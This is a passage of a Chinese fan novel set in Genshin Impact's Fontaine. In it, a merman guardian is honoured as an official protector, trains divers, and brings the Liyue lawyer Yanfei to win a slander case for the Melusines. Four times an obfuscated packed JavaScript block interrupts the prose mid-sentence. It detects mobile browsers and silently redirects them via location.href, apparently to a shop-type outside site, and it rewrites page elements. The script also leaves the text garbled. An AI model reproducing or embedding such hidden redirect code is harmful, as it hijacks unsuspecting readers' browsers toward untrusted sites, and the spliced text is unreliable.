“可以这么理解,但是如果食物链底端的鱼群数量减少,还可以通过减少人类捕获量,迁移鱼群,搅动海水增加浮游生物和鱼群食物来源等多种方式达成目标。”静原看向小家伙们,“实际问题往往由多种复杂成因构成,所以需要实地考察过后再对症下药……” 格蕾丝蒂嘿嘿笑:“那我养隙境原体的话,需要喂什么呢?” 静原:“……不要尝试饲养你们父亲的细胞体,好吗?它们能自己生活得很好。” 这孩子怎么总想养一些危险生物。 “卡吕普迪斯大人,带我去看沉船吧,我想知道沉船的历史。” “抱歉艾伊丝,枫丹海域所有沉船遗迹我都清理得差不多了,最近几百年都没有新的沉船出现。” 艾伊丝垂头丧气:“卡吕普迪斯大人太过可靠,也是一种烦恼呢。” 好了,我知道你励志做沉船考古学家,之后会给你留意素材的。 托皮娅歪头:“您探索过沉船的话,是否找到过雷穆利亚王朝遗留的曲谱呢?” “你是怎么知道雷穆利亚王朝以音律著称的?” “嘿嘿,卡萝蕾姐姐知道我在学习音律,借来了枫丹廷图书馆的书,里面提到过雷穆利亚王朝。” 这时格蕾丝蒂也仰头:“那维莱特大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389630|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说过,您是生活在枫丹海很久很久的人鱼,见证过雷穆利亚王朝的衰落。” “这样啊……”静原思考片刻,“我没有搜罗过曲谱之类的,但我答应托皮娅,会给你留意这类物品。你知道的,海水会腐蚀记载着文字和曲谱的纸张羊皮卷,何况是古代王朝的遗留物。” “嗯嗯,我相信卡吕普迪斯大人。” 美露莘们没有不应该随意对静原提出诉求的观念,因为静原是照顾她们的长辈,也是大家长其一。对长辈撒娇提要求在哪个家庭都是顺理成章的。 静原乐在其中——鲸群和伊黎耶林岛龙蜥提要求他一样会尽力满足。 静原带着三个小美露莘天天在海里乱窜,也没功夫找那维莱特叙旧。等他在某个丰收季被召唤来到枫丹廷临水之畔,迎接他的不是那维莱特的疑惑,而是枫丹人的鲜花与掌声。 “怎么了?”把我骗进来杀? 静原甚至不敢接过水神芙卡洛斯手里的金制奖杯。 搞什么? 他看向那维莱特,最高审判官一脸正色,目光柔和。身边是供职于逐影庭的美露莘们,小家伙比他脸色好看多了,笑得真心实意。 芙卡洛斯,也就是芙宁娜女士,在这场酝酿了数年,拉锯战持续许久才获得胜利的颁奖礼上发表宣言致辞。 静原稀里糊涂的接过奖杯——水神表彰她为枫丹海域宁静做出的杰出贡献。 静原受宠若惊的接过奖章——那维莱特宣布授封他为枫丹海的大守护者。 身后三个小家伙嘀嘀咕咕:“好啦,这下是名正言顺的守护者了。” 静原:啊?这么轻易草率的吗? 远离政治中心的静原后来才知道,这场加冕授封礼是美露莘和那维莱特,以及无数受过他恩惠的枫丹民众争取来的。与之相对的是贵族派,他们认为卡吕普迪斯是旧水神厄歌莉娅的眷属,守护枫丹是他份内之职,无需加封。 其实也是对最高审判官那维莱特和美露莘们的一种打压:同为人类的异族,不应当在人类社会享有过高的社会地位。 不然贵族要如何维护自身的利益与特权呢? 如果不是美露莘们主动提出给海中的卡吕普迪斯正式职称,如果不是那维莱特想着给他眷属争取点在人类社会的正当合法权益,底层枫丹民众还不知道这么几百年来卡吕普迪斯都是无偿劳动。 震大惊了,这个消息扩散至港口码头船工船长耳中,都是两眼一黑。 无偿!劳动!几百年!甚至可能更久长达千年! 有明确记载的文书表示,卡吕普迪斯在旧水神厄歌莉娅建立枫丹后就一直活跃在海中救人了,他甚至不是旧水神的眷属。 枫丹是正义的国度,自然不会容许这样不公平的现象在暴露后继续持续下去。 芙宁娜女士拍板决定了授封仪式之后,这事就算是彻底敲定了。 从那维莱特口中了解来龙去脉之后,静原看着这枚镶嵌纯正蓝宝石的奖章,抬头发出致命疑问。 “每月工资多少?有没有五险一金?我的职责明细表打出来了吗?” 芙宁娜挠头:“啊这个——你问那维莱特!” 20.正式保安 卡吕普迪斯在枫丹公众面前首次正式亮相,也算是圆满落幕。 芙宁娜:“看吧,你们的神明会请来远海的生灵,加入枫丹这样温暖的大集体。” 前任水神没有做到的事情,现任水神做到了。 静原拿着金制的奖杯摸了摸,今生对于黄金的喜爱并没有前生那么着魔,给了身边三位小美露莘玩,奖章因为是老大那维莱特发的,所以当着众人的面他没有交出去。 扭头还是给了美露莘们把玩。 静原对于加入如今的枫丹并不抗拒,那维莱特能够首肯并且推行直至这条提议通过,自然有他的考量。 但是上岸就算了,他顶多在水畔跟人类交接一下工作。 “枫丹航线规划部门是哪个来着?啊是你负责和我交接对吧,行,我现在就给你画个气象册子,枫丹海域未来一周的气象预报都会记在上面,暴风雨天气尽量减少船只离港吧,孩子哭闹声挺刺耳朵的。” “海洋生态保护组织有吗?你们人类的船怎么那么喜欢往海里扔垃圾,都说了多少次了金属制品塑料制品不能被海容纳,饮料和食物残渣被海洋生物摄入会导致死亡,能源外泄更是大污染,之前是你们跑得快,下次被我逮个正着我不会留情的。” “海关部门在哪里?一百多年前和三百多年前,从璃月来的几只船上货物超载严重,一个浪起来就没法稳住船身,货噼里啪啦全砸海里了——后来撕心裂肺鬼哭狼嚎也是这家人……什么?你说须弥和蒙德也有这种情况?没办法……好好好,下次一个浪打过来我不救了,超载的船全沉了算了。” 静原趁着那维莱特在场,底气颇足,对着来和他这个新同事交接任务的枫丹相关部门职员好一顿怨气发泄。 卡萝蕾:“卡吕普迪斯大人……竟然忍了这么久呀。” 一句话给小有怒气的枫丹员工干沉默了。 说句真心话,有这么个祖宗辈分的同事,压力很大啊。前辈们在任期间没捅出篓子果然是因为有人负重前行默默兜底吗? 静原那真是怨气堪比红衣女鬼,他之前在枫丹海当救生员本来就是自发行为,所以不会说什么。但是正式入职之后,该同事负起责任的必须划清楚界限,明确责权。 不然锅全是你背。 前生的惨痛教训让静原这辈子依旧铭记,进入状态很熟练,唬得芙宁娜一愣一愣。 “怎么感觉你比我更贴近枫丹人类生活?” 静原抽空抬起头:“水神大人,我是看着枫丹廷建立的,对于人类并不陌生。感谢您的信任,我相信在您的引领下,水族和人类的合作会让枫丹未来的道路愈发坦荡明亮。” 芙宁娜女士挺起胸膛:“那是自然。一切尽在神明的掌控之中。” 那维莱特看向静原,二人对视,悄悄眨了一下眼睛。 静原坐在岸边,尾巴泡进海里,就这样简单的和相关部门职员沟通好了,因为人鱼的生理特性并不适合上岸,人类也不适应长时间入海,于是进行辅助沟通的工作重担落在了美露莘头上。 “卡萝蕾,你愿意帮助我们吗?”静原看向站在那维莱特身后的小美露莘,对方并没有正式入职逐影庭,一直在为美露莘融入人类社会努力。 真正入职逐影庭的美露莘太稀少了,而且一直在那维莱特手下和他信任的几个人类部下打交道,如果一直这样,美露莘想要彻底融入人类社会任重而道远——卡萝蕾正是意识到了这一点,才为之努力奔走奋斗的。 “我可以吗?”卡萝蕾惊讶,“我可以为你们做些什么呢?” 卡吕普迪斯身边的人类职员对于类似蜥蜴人美露莘的靠近多多少少有些抗拒,但是静原对卡萝蕾伸出手,两只截然不同的手搭在一起,人类可以清晰的认识到这两只手的不同。 在静原堪比凶器的锋利手指映衬下,美露莘的小手掌真是无害又可爱。 他的声音并不大,却很清晰的传进了在场每个生命耳中:“我和这些人类都负责保护海洋,保护海上行过的人类财产和生命安全。各项工作具体事项实践起来难免会出现问题,他们不能在海里看见问题,我也没有办法到他们的办公室去及时上报,各项沟通受到不可跨越的阻碍。但是美露莘不一样,美露莘虽然是海洋生命的一员,却拥有在陆地行走生活的能力。若想维系海与人,只有美露莘能做得最好呢。” 格蕾丝蒂:“人类肯定不会知道卡吕普迪斯大人为了维持渔场资源丰沛,需要在阳光最温暖的时刻平和的搅动海水吧。” 托皮娅:“人类也不知道卡吕普迪斯大人每年都要护送海族迁徙吧,为了避开船队航线,可是非常苦恼呢。” 艾伊丝:“人类知道卡吕普迪斯大人每晚都睡在浅海区,就是担心夜里风高浪急,听不到呼救吗?” 三小只异口同声,摇摇头:“他们不知道呢。” 三小只帮腔,美露莘能有什么心眼呢? 水神知道那维莱特大人真实身份,也知道卡吕普迪斯是他的眷属,出于一些考量,她准许美露莘自由往返枫丹廷与海洋。 “只是卡萝蕾,你要经过考核才可以正式入职海事部门帮助他们。”芙宁娜瞥了一眼下方神色各异的枫丹人,“大家都是通过考核才获得了这份工作,卡吕普迪斯也不例外。遵守枫丹的规矩,这也是为了公平。” 卡萝蕾这孩子真的实心眼,认为这番话是告诉她要好好学习努力通过考核,为卡吕普迪斯大人和那维莱特大人分忧,当即高高兴兴应下了。 被敲打的枫丹人并不多言。 等人类离开后,在场人员就剩海族与如今的水神了。 “芙宁娜女士,还有什么事吗?”那维莱特不知道她还留在这里干什么,按理说,水神这个时候应该在办公室看书吃点心了。 芙宁娜干咳两声:“作为神明,当然要对新上任的海族下属表达关怀,说一些体己话了。” 那维莱特思索片刻,他好像没跟卡吕普迪斯说过什么类似的话。 没有得到龙王准许,芙宁娜也不见外,看向半个身体都泡在海里的人鱼:“卡吕普迪斯,你多少岁了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410038|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“海中无具体年月算法,很遗憾,我也不清楚自己年岁几何。至多追溯到雷穆利亚王朝终末时代。” “哎呀,那可得有千年了。”芙宁娜觑了一眼最高审判官,和静原咬耳朵,“和我说说,你和那维莱特到底谁更大。” 她还不知道水龙王的年纪呢。 静原单挑眉,似笑非笑:“您不妨猜猜看。” 他真是活腻歪了才会正面回答这个问题。 “真是的……嘴这么紧。说正经的,你在海洋生活了这么久,有没有发现异常的动静?比如水的变化之类的……” 静原大概明白她想问什么了,但是很遗憾,他无法多说:“海中一切都好,出现异常情况我会如实上报的。” 芙宁娜没法得到有用的消息,强行提起精神和众水族告别,离开了这一处简陋的会议厅。 那维莱特这才跟眷属们好好说话:“我在枫丹听到了许多有关你的传闻,卡吕普迪斯,你想听吗?” “我可不记得你会对这些虚假传闻有兴趣。” “但是传言和你本人有联系,甚至出现了许多我不曾知道的故事版本,看过之后,倒也有一番意趣。”那维莱特轻轻笑了笑,“卡萝蕾经常跑图书馆阅览室,看到了很多有关人鱼的书籍,我觉得你会感兴趣的。” 人鱼就我一条哪里有那么多故事可看……静原如此吐槽,嘴上却还是顺着老大的意思应下来。 那维莱特再枫丹廷当最高审判官,公正无私,也尽量避免和人产生私交,以防人类认为执法审判产生了不公。又因为要隐瞒龙王身份,当着不知情人类的面,和静原的相处很是收敛。未来接触频繁倒是会好一些。 他似乎学到了很多新知识,兴致勃勃的和静原分享。身边围着一圈美露莘,听着保育员的被编排的那些故事听得津津有味。 静原:我真是没话说了。 静原最后逃也似的钻进海洋,卡萝蕾在岸上开始准备考试,逐影庭的美露莘们也在思考是不是要继续考试——她们加入逐影庭为那维莱特效力也是经过相关考核的。但是考核之上还有考试,相关证件还能考得更高更好……说起来,人类也会经常聊起这些呢。 美露莘们之间掀起了一股考证考级狂潮,未来五百年都不会停歇了。 静原一开始对此并不知情,直到几个小美露莘找上他,说要练习潜水作业。 “美露莘是水龙蜥变体,天生就会游泳潜水,还要练习吗?”你以为你们和我这个开局就半身瘫痪的保育员一样啊? 托皮娅趴在他背上幽幽开口:“她们是为了考潜水证,过几天我也要去枫丹廷进行乐理考试了……” 艾伊丝垂头丧气:“考古专业的考试好难呀,我看了那么多书,感觉最后进入大脑的知识只有很少很少一部分……” 静原看向格蕾丝蒂,后者捂着脸说:“我也报名了营养学考级……” 静原两眼一黑,看不见海沫村的未来。 怎么换了个世界他不用考证,但是他的可爱侄女们深陷考证灾难啊? 21.水面的波澜 身边几个孩子都要考试考证,静原没办法,只能学着前世母亲的模样尽力为她们创造安静舒适的学习环境。想练习潜水的美露莘最后把他和潜水教练介绍认识了,后面还跟了一大批学员。 “美露莘的手和人类手掌有着明显区别,所以并不适合精细化作业。”静原趁着这个机会把相关知识告诉他们,“但是因为种族特性,美露莘可以不需要供氧潜入深海活动。人类在浅海区可以靠原海赐福呼吸,深水区作业却必须配备专业工具。” 教练给了几个人类学员一肘击:“好好听别分神。” 人类学员哪里敢不听,把目光从人鱼那条漂亮的大尾巴上艰难挪开。 “浅水区的水流平缓,阳光温暖视野也很好,所以人类可以看见这些美丽且色彩斑斓的珊瑚海葵,可以看见海草林里藏着的渔业资源。但是一旦下游,阳光直射不足,通体暗色调的海洋环境对人类而言是一种巨大的考验。”静原指给他们看海中深谷,“我记得人类是有深海恐惧症的,对吧?” “总感觉里面藏着什么凶猛的海怪……” 静原顺着学员的话点头:“感觉没错,深海的确生活着变异的原海物种,常见的有厚甲蟹,章鱼和水母,鳐鱼海豹也丝毫不逊色,它们的攻击方式各有各的特点。一些吸附在石壁上的藤壶会对路过的生命无差别攻击,注意分辨,这群藤壶是天生的隐藏高手,打人很痛的。” 美露莘们合力驱赶来一只水母,静原赞许:“做得好孩子们。人类不要轻易尝试这种行为,因为异种水母的水弹攻击……是海族生命里伤害最高的。” 这只倒霉水母在众人目光注视下颤颤巍巍搓出水弹,轻飘飘丢在了海底矿堆上,不过几秒,嘭的一下给裸露矿产炸得稀碎。 静原面无表情:“都看到了?前阵子有一个人在浅海区带走了几只幼年水母,结果被水母群找上家门,门前海域围得水泄不通——如果不是水母无法上岸,那个人的下场就会和这些矿一样。” “不要随意招惹原海异种,对自身实力没有清晰认识的情况贸然出手,我只能说人类社会的义务教育普及任重而道远。” 后来又带这一批学员认识了其他异种,教人类简单辨认洋流,以及被乱流裹挟之后如何自救或者营救。 教练后来总往他这里送学员,让这些慕名而来的学员蹭美露莘的课上。 静原当老师还是很有一套的,他在海洋里是无可否认的优秀猎手,浅海区的威胁有限,人类考浅水区的潜水证还是很容易的。深海区对人类身体机能要求太高,后来只剩下美露莘和专业潜水员跟着。 静原不收取任何费用,只要求他们走的时候捎上一包海洋垃圾——都是没素质人类自己扔的。 平均一个星期往海事部门交一次天气预报,和卡萝蕾见一次面,听她讲枫丹廷趣事。枫丹新港口柔灯港海区暗礁太多,潮水又时常变化,海域探测工作太难,静原一周去一次,测绘柔灯港浅海区暗礁位置。再就是潜水证培训班,也是一周一次的培训科普。 换算下来,一周七天,固定三天工作日,两天风雨夜守候值班。最后只剩两天休息日,北海和伊黎耶林岛一天,苍晶区厄里那斯一天。 分配得明明白白。 静原不理解自己怎么明明成为正式职工,责权划分明白了还多出这么多工作。 全年无休加班如喝水一般简单自然的那维莱特:“嗯?你说什么?放假?枫丹公务员有假期吗?” 静原想掀桌子:有啊!! 最后还是不敢。水族对那维莱特的敬仰和尊重远超过人类对最高审判官。静原不敢真的乱造次。 最后只能苦哈哈的四处奔走。 卡萝蕾成功考入海事部门,但被牵扯进那场政治阴谋的换成了其他美露莘。 一个供职于逐影庭的美露莘,基娅拉。 诋毁那维莱特,诋毁美露莘的声音虽然不如预期中那么大,但依旧存在。那维莱特初入人类社会,还不懂这些弯弯绕绕,也不知晓人类的恶意与排斥能到什么地步。他不在意自己名声受损,但是他的眷属们在意,美露莘在意。 卡萝蕾无意中提起那维莱特被政敌诋毁的这件事——在村子生活二十多年,心智亦如孩童的美露莘并不知道这是政治阴谋,只当是人类不理解那维莱特,被谣言蛊惑。 “今天有好多人都朝我们丢石子,要我们滚回村子里。石子打在头上可痛啦,我好不容易才忍住没有哭。” 人类对于美露莘的排斥加上有心人的煽动,做出这种不理智的举动,静原毫不意外。 “我们都不知道要怎么办才好了……难道真的像人类说的那样,两个完全不同的种族不可能生活在一起吗?” 那维莱特被水神钦定为最高审判官,有实力,有权利,但远没有后世那般威望。他要掀起改革,除旧革新,势必会压榨守旧派的势力与力量。泼脏水算是屡见不鲜且有效的手段了。 “难怪……难怪这些天枫丹廷阴雨连绵。”静原低头思索,然后抱住了默默伤心的卡萝蕾,“卡萝蕾,相信自己。想要融入另一个族群并非易事,你们是那维莱特亲自带到枫丹廷的种族,人们对你们的看法,折射出他们对那维莱特的看法。这一点无可否认。” 卡萝蕾垂头丧气,触角都蔫蔫的。 基娅拉和卡萝蕾一样的纯真良善,两个美露莘和特巡队队长沃特林关系都非常好。基娅拉面对愤怒质问的民众,差一点就要做出和另一条时间线卡萝蕾一样的选择。 主君被污蔑怀疑,身为追随者用刀剖腹掏心,以证主君清白。这在历史上并不少见。 基娅拉差一点就要以自己的性命去保护那维莱特的声誉,如果不是卡萝蕾在她身边拉住了同伴的自我牺牲,拉斯蒂涅等特巡队队员回过神后驱散了民众,这事非闹到不可收场。 那维莱特应该已经接到了消息。 静原气得手都在发抖,可还是轻哄卡萝蕾,摸摸小姑娘被打疼的地方:“别害怕,还有我在。” 那维莱特和美露莘不方便做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426713|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,他来做。 美露莘们都是他看着长大的,和他的孩子一样。没有哪个家长能忍受孩子如此被逼迫对待。 静原从不一人托大,若要达成自己的目的,自然是先团结一切可团结的力量,以多胜少。 他护航枫丹多年,救下的人不说万八千,也有百来数。这些船长船工水手的后代常常来海边祭告,留下一地残烛香烟——也是静原让潜水学员打包带走的垃圾其一。 推动静原入编的也有这些人出的力,他没有忘记。 在海上讨生活的人不可避免会和极端天气打交道,也因此和静原产生联系。旧枫丹排外且孤立,但是卡吕普迪斯作为贯穿枫丹历史的海中传说,在枫丹人民心里是有一定份量的。即使静原态度算不上好,这些人也不介意,只当是海族惯有的疏离。纯水精灵也是如此,可人们依旧喜爱这群旧水神眷属。 静原和海事部门的人交情不浅,请他们帮忙联络枫丹的老熟人。造船和渔业贸易为主的海家族和静原联络最为紧密,通过海事部门的转告,得知卡吕普迪斯需要帮助后拖家带口行动起来,搜集那维莱特政敌的罪行证据,其中就包括收买街头势力散播不实流言这一条。 不得不说,这群守旧势力老贵族和静原天生不对付,他在枫丹底层的号召力也远比他想象中大。 只是第三天,就有不少人得知卡吕普迪斯在枫丹廷外城区海域停留。 “听说了吗?卡吕普迪斯大人就在枫丹廷外,他要状告索维格莎家族走私行贿!” “何止,传播不实信息,污蔑诽谤,危害公共治安,恶意商业竞争——天老爷,一条人鱼怎么懂这些个罪名?我有个亲戚在执法部门工作,他们说卡吕普迪斯那一式二份写得比好多公民都好。直接通过!” “人家活得比你几个太姥爷加起来还久,律法相关知识肯定有。” “最近闹得沸沸扬扬的美露莘事件据说也有索维格莎家族的手笔。” “虽然美露莘是长得奇怪了点,但是它们很有礼貌啊,我上次路过一个美露莘不小心撞到了它,它还关心我是不是没睡好觉……” “都说了美露莘是女孩子,用【她】。” 种种言论不一而足,最后欧庇克莱歌剧院受理了这桩案件,一些工作人员暗自推动协理,硬是提前其他案件好几倍的工作效率,定于一个月后开庭。 法庭通知静原后,他来见了一面基娅拉和卡萝蕾:“我会请其他国家的律师来打这场官司,你们,还有枫丹廷其他美露莘现在做自己分内之事,不要被外界流言影响心情。” “嗯嗯!那维莱特大人最近也在筹备相关证据,沃特林也有帮忙!”卡萝蕾蹭蹭保育员的肚子,小家伙身高只到静原这里。 基娅拉保证:“我们会听话的,卡吕普迪斯大人别担心。” “断没有放任自家孩子被人任意欺辱的道理。”静原两眼几欲喷火,“我非要告得他们裤衩子都不剩一条!” 枫丹没有死刑,那就蹲监狱去吧! 22.护崽子 前文提到过,静原在找帮手这件事上从不吝啬力气。 一些合作伙伴也向他推荐了枫丹有名的大律师,但是静原婉拒了。从决定打官司那天起,他就托璃月返航商船的人打听璃月港的烟绯律师近期有无空档,有的话帮他约一个。之后和法律传票一起递到他手中的,就有来自璃月港烟绯律师的信。 烟绯的法律咨询业务的确排了很多,但正儿八经的打官司业务倒是有空期。从枫丹回来的船长上门代为询问,烟绯听到对方是鲛人,提起兴趣亲自回信。 如你所见,静原和美露莘们告别之后,直接就是窜了出去,从沉玉谷一路南行,去璃月港亲自请烟绯打跨国官司。 在静原迷糊的记忆里,烟绯留下最浓墨重彩的一笔就是她的律法专业性。与其信任可能因为美露莘而心有偏见的人类律师,不如选择老牌仙人律师。 起码人家不会种族歧视。 静原无法上岸,依旧是请璃月港码头船工报信。鲛人头一次出现在璃月,这消息飞速传播出去,烟绯带上厚厚的律法典籍来港口的时候,就看见里三层外三层的各国人民把港口围得水泄不通,千岩军忙得满头大汗疏散无果的场景。 “这是怎么了?”她看向千岩军,后者擦汗:“烟绯小姐快去看看吧,那条鲛人说预约了您的时间要见面,在这里等候的功夫,商人和璃月港民众就都围过来看热闹了。” 璃月人天生爱凑热闹,其他国家的人都知道璃月人爱凑热闹,跟着围过来看稀奇。 被当成稀有物种看热闹的静原很沉得住气,他日夜兼程不休息,对时间的感知倒是蛮清晰。 等烟绯费劲扒拉挤开层层叠叠的人群走到静原身前的码头甲板上,已经出了一身的汗:“你好,卡吕普迪斯先生,我是律师烟绯。关于您这项跨国官司,我有几个问题需要询问,再才能做出决定。” 打官司?什么官司?一条鱼要打跨国官司?话说他们璃月的烟绯律师名气这么高的吗? 静原无法上岸,因此他们绕去了码头另一边,北港足够宽,货船少,烟绯特意租了一条小船,离岸有一定距离。只为保护咨询人信息。 烟绯问的几个问题无非是打什么类型的官司,维护什么权益,有无切实证据,是否隐瞒情节经过,以及想要什么结果。 她很快应下这起官司:“毕竟是律法和正义的国度,枫丹的律法我也有研究。卡吕普迪斯先生,您的案件我接手了。现在就可以启程,还是说您长途奔波需要休息一段时间?” 当然是越快越好。 烟绯确定之后,静原直接去找了要去枫丹的客船,给烟绯买了船票,食宿全报销。 往返璃月和枫丹的船没有不知道卡吕普迪斯的,对于这条人鱼的同行,船长和同程旅客都相当欢迎。 回枫丹的时候,他坐在船尾看着越来越远的璃月港,半颗心落回肚子。 下次再来璃月港不抄近路了,差点累死他。 烟绯有时会和静原聊天:“卡吕普迪斯先生知道自己是人鱼还是鲛人吗?” “有什么去区别吗?” “在璃月的传说里,鲛人水居如鱼,不废织绩。其眼泣则能出珠。我没有见过鲛人,您是第一位呢。”烟绯好奇,“您流下的眼泪真的会变为珍珠吗?” “不是珍珠…喏,你看。”静原很轻易的就挤出两滴的眼泪,离开眼眶那一刻变为乳白色的珠子,用力一捏就碎成粉末。 烟绯点点头:“枫丹的传说里,人鱼多半是上半身异常美丽的人形女性,下半身为鱼尾状。歌声动听悠扬,带有蛊惑意味。” 静原对此不置可否,他已经习惯他在文学作品里性转了。反正上辈子是女人,无所谓。但他有点好奇怎么璃月的传说也这么多,烟绯便告诉他沉玉谷有个家族从五百多年前就开始进行人鱼文学创作,声称自己的祖先见过鲛人,还得到了鲛人的馈赠。 静原:好了我知道是谁了。 从柔灯港一路北上畅通无阻,岸边艾伊丝率先发现了坐在船尾的静原:“卡吕普迪斯大人回来啦!” 这小家伙没有找到沉船,天天看过往船只,研究各国船体有什么不同,率先发现静原不意外。 对于美露莘这种奇妙的种族,半仙之体的烟绯并未展现出过多的好奇,只当是客户家的孩子对待。 抵达枫丹廷后,看见卡萝蕾基娅拉牵着沃特林等候,静原甩着尾巴送烟绯上岸:“烟绯小姐,我无法上岸行动,卡萝蕾,基娅拉和沃特林先生会安排好您在枫丹一切食宿问题,费用我全包,还请不要推辞,这只是我的一点心意。” 烟绯知道他是希望自己尽心尽力打赢这场官司,点头允诺:“您放心,我必当竭尽全力,还受害者一个公道。” 沃特林和静原简单交流了几句,就带烟绯去办理入住许可,自然是一路绿灯畅通无阻,索维格莎试图使绊子,但是静原早已用重金上下打点通畅,和他交好的家族在掰倒敌对家族这件事上出奇的同心协力,也找到了还人情的机会,自然是不留余地的发力。 他知道他这种行为无异于在法律边缘走钢丝,但是他无法忍受这种窒息的肆意抹黑继续下去。 静原做了不少准备,哪怕很多手段可能不会启动也要提前铺垫好,他不能容忍孩子受到欺负默默吞下苦涩,也不能容忍那维莱特的名声就这样被人肆意抹黑。 那维莱特无法和他见面联络,静原不知道他的想法,但是二人对于这场官司都抱着必赢的决心。 开庭那天,欧庇克莱歌剧院之中,最高审判官端坐于喻示裁定枢机面前,水神芙宁娜坐在视野最好的观众席上,双腿交叠俯瞰下方即将上演的受审。 因为欧庇克莱歌剧院临海,所以静原以人鱼的姿态上岸数小时可以勉强忍受,他倒是没有不讲究的爬,小美露莘们推着轮椅送他上原告席位。 歌剧院座无虚席,因为静原这一下子告了几乎整个守旧派势力。索维格莎、提尔贝特两位为被告代表,为他们辩护是枫丹当地有名的金牌律师。 烟绯事先了解过枫丹审判的流程,来到枫丹后取证查阅资料,历时两个星期。递交给审判官的佐证足足有一尺高。 审判和辩护是烟绯的主场,静原甚至不需要多说话,只需要在那维莱特询问求证时开口说几句,烟绯火力全开,唇枪舌剑搭配确凿证据,足够把被告钉在耻辱柱上锤得死死的。 导致美露莘被人扔石子喊着滚出枫丹的是一桩命案,提尔贝特经手过,烟绯找到了关键证据证明了美露莘的无辜和真正的凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426714|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提尔贝特罪名再加一等。 从前的枫丹人宁可听信流言也不相信美露莘苍白的辩解,静原就是要把这件事闹得更大,直接闹上审判庭,在神明和诸位审判官,以及喻示裁定枢机之前堂堂正正宣布美露莘无罪。 证据确凿,结果已然揭晓。那维莱特和喻示裁定枢机都宣布被告有罪,索维格莎,提尔贝特等人的罪名成立,前缀比他们家族的人名字还长。 罪行种种罄竹难书,进入梅洛彼得堡是板上钉钉的事了。当然,因为枫丹的独特机制,被告如果不服有罪结果,可以和决斗代理人一战,捍卫自己的清白,死伤不论。 但是这几位显然没有清白可以捍卫,若是他们选择和决斗代理人一战,静原甚至想撸袖子自己上。 他要是真的上场,一定要把这两个混账锤成全身粉碎性骨折,内脏破裂,如同被厄里那斯压过一样。 被警备队羁押奏的两位贵族不甘道:“卡吕普迪斯,你既然生活在海里,为什么要参与进岸上的事!” 败者的徒劳挣扎不必理会,但是静原当着全场枫丹人的面告诉他们:“因为我是枫丹的公民,美露莘也一样。” 既然是这个国家的合法公民,有着和枫丹人一样的居住证明和户籍,享有和他们一般无二的权利与义务,自然遵守法律,也被法律保护。 如此才为水之国的公正。 “海洋有海洋的规则,陆地有陆地规矩。我和美露莘既然上岸加入枫丹,自然会用陆地上的规则维护自身合法权益。身为卡萝蕾和基娅拉的监护人,替她们讨回公道有什么不对?” 索维格莎愤怒道:“所有美露莘都不可信,那维莱特也一样!卡吕普迪斯!你亲自和厄里那斯交手过,为什么你要帮这群从魔物血肉中生出的怪物!” 提尔贝特挣扎着想要摆脱警备队牵制:“卡吕普迪斯!你说得这么冠冕堂皇,自己也在违法!别以为我不知道你用重金收买人心!” 静原一点都不慌,举手表示:“水神大人,最高审判官大人,以及诸多听证人见证——这个罪犯还在污蔑我的名誉,我请求再加一场审判。” 那维莱特拿着小木锤敲了几下:“肃静肃静,法庭上不容喧哗。原告卡吕普迪斯,本次审判已经结束,若要再次上诉请到沫芒宫提交相关申请文件。” 他当然不是真的要再打一场官司,人都送进梅洛彼得堡了。 静原看向索维格莎,看向听证席上所有枫丹人:“我知道你们在恐惧什么,也知道你们放大了这种恐惧。但人心的成见只会蒙蔽你们的眼睛。孤立、排斥、羞辱……这就是枫丹人引以为傲的国家文化吗?可我分明记得,你们不是这样的。” 这场审判以令人窒息的寂静作为收场,卡萝蕾和基娅拉两小只在听证席位互相抹眼泪,烟绯打赢官司一身轻松,对静原悄声说:“这可真是件划算的案子。好打钱还多。” “能赢得这么快,烟绯小姐功不可没。”静原表达真挚感谢,被告律师官司打输了也不气,而是在审判结束各方退场时找到烟绯,兴奋的聊起律法。 得,原来这是烟绯的他国粉丝啊。 静原笑了笑,和粉丝告别的烟绯推着轮椅送他离开欧庇克莱歌剧院。 再不走鱼就要干死了。 23.水仙往事 